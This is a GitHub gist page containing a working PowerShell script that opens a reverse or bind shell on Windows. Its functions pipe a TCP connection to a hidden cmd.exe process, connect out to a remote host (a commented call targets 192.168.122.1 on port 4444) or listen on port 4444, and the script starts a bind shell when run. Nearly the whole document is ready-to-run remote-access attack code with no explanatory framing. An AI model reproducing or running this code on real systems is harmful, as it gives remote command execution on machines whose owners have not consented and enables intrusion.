Skip to content

Instantly share code, notes, and snippets.

@calebstewart
Created June 11, 2021 22:13
Show Gist options
  • Save calebstewart/b183de2287dd3435de28d4211631b750 to your computer and use it in GitHub Desktop.
Save calebstewart/b183de2287dd3435de28d4211631b750 to your computer and use it in GitHub Desktop.
PowerShell Reverse or Bind Shell
function Start-Thread
{
param(
$ScriptBlock,
[System.Collections.ArrayList]$ArgumentList = @()
)
$Runspace = [RunspaceFactory]::CreateRunspace()
$PowerShell = [PowerShell]::Create()
$PowerShell.Runspace = $Runspace
$Runspace.Open()
$PowerShell.AddScript($ScriptBlock)
$PowerShell.AddParameters($ArgumentList)
return [PSCustomObject]@{
PowerShell = $PowerShell;
InvokeOperation = $PowerShell.BeginInvoke();
}
}
function Stop-Thread
{
param(
$Thread
)
$Runspace = $Thread.PowerShell.Runspace
$Runspace.Close()
}
function Pipe-Data
{
param(
[System.Net.Sockets.TcpClient]$Client,
[System.Diagnostics.Process]$Process
)
$Stream = $Client.GetStream()
$Input = $Process.StandardInput.BaseStream
$Output = $Process.StandardOutput.BaseStream
$Error = $Process.StandardError.BaseStream
$OutputJob = Start-Thread -ArgumentList $Output,$Client,$Stream -ScriptBlock {
param($Output, $Client, $Stream)
# Grab the socket stream
$socket = $Client.GetStream()
# Create a buffer for output data
$buffer = New-Object System.Byte[] $Client.ReceiveBufferSize
while( ($count = $Output.Read($buffer, 0, $buffer.Length)) ) {
$Stream.Write($buffer, 0, $count)
$Stream.Flush()
}
}
$ErrorJob = Start-Thread -ArgumentList $Error,$Client,$Stream -ScriptBlock {
param($Output, $Client, $Stream)
# Grab the socket stream
$socket = $Client.GetStream()
# Create a buffer for output data
$buffer = New-Object System.Byte[] $Client.ReceiveBufferSize
while( ($count = $Output.Read($buffer, 0, $buffer.Length)) ) {
$Stream.Write($buffer, 0, $count)
$Stream.Flush()
}
}
$buffer = New-Object System.Byte[] $Client.ReceiveBufferSize
while( ($count = $Stream.Read($buffer, 0, $buffer.Length)) ){
$sent = $Input.Write($buffer, 0, $count)
$Input.Flush()
}
# This never works. It just hangs, so there's leftover resources sadly.
# Stop-Thread -Thread $OutputJob
# Stop-Thread -Thread $ErrorJob
}
function Reverse-Shell
{
param(
[string]$Executable = "C:\Windows\System32\cmd.exe",
[string]$Hostname,
[int]$Port
)
Try {
# Connect to the attacker
$Client = New-Object System.Net.Sockets.TcpClient
$Client.Connect($Hostname, $Port)
} Catch {
return;
}
# Start the shell
$Process = New-Object System.Diagnostics.Process
$Process.StartInfo.FileName = $Executable
$Process.StartInfo.RedirectStandardInput = 1
$Process.StartInfo.RedirectStandardOutput = 1
$Process.StartInfo.RedirectStandardError = 1
$Process.StartInfo.CreateNoWindow = $true
$Process.StartInfo.UseShellExecute = 0
$Process.Start()
# Pipe the data
Pipe-Data -Client $Client -Process $Process
$Process.Kill()
$Process.WaitForExit()
}
function Bind-Shell
{
param(
[string]$Executable = "C:\Windows\System32\cmd.exe",
[int]$Port
)
Try {
# Connect to the attacker
$Server = [System.Net.Sockets.TcpListener]::Create($Port)
$Server.Start(1)
$Client = $Server.AcceptTcpClient()
$Server.Stop()
} Catch {
return;
}
# Start the shell
$Process = New-Object System.Diagnostics.Process
$Process.StartInfo.FileName = $Executable
$Process.StartInfo.RedirectStandardInput = 1
$Process.StartInfo.RedirectStandardOutput = 1
$Process.StartInfo.RedirectStandardError = 1
$Process.StartInfo.CreateNoWindow = $true
$Process.StartInfo.UseShellExecute = 0
$Process.Start()
# Pipe the data
Pipe-Data -Client $Client -Process $Process
$Process.Kill()
$Process.WaitForExit()
}
# Start a bind shell
Bind-Shell -Port 4444
# Or start a reverse shell
# Reverse-Shell -Hostname 192.168.122.1 -Port 4444
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment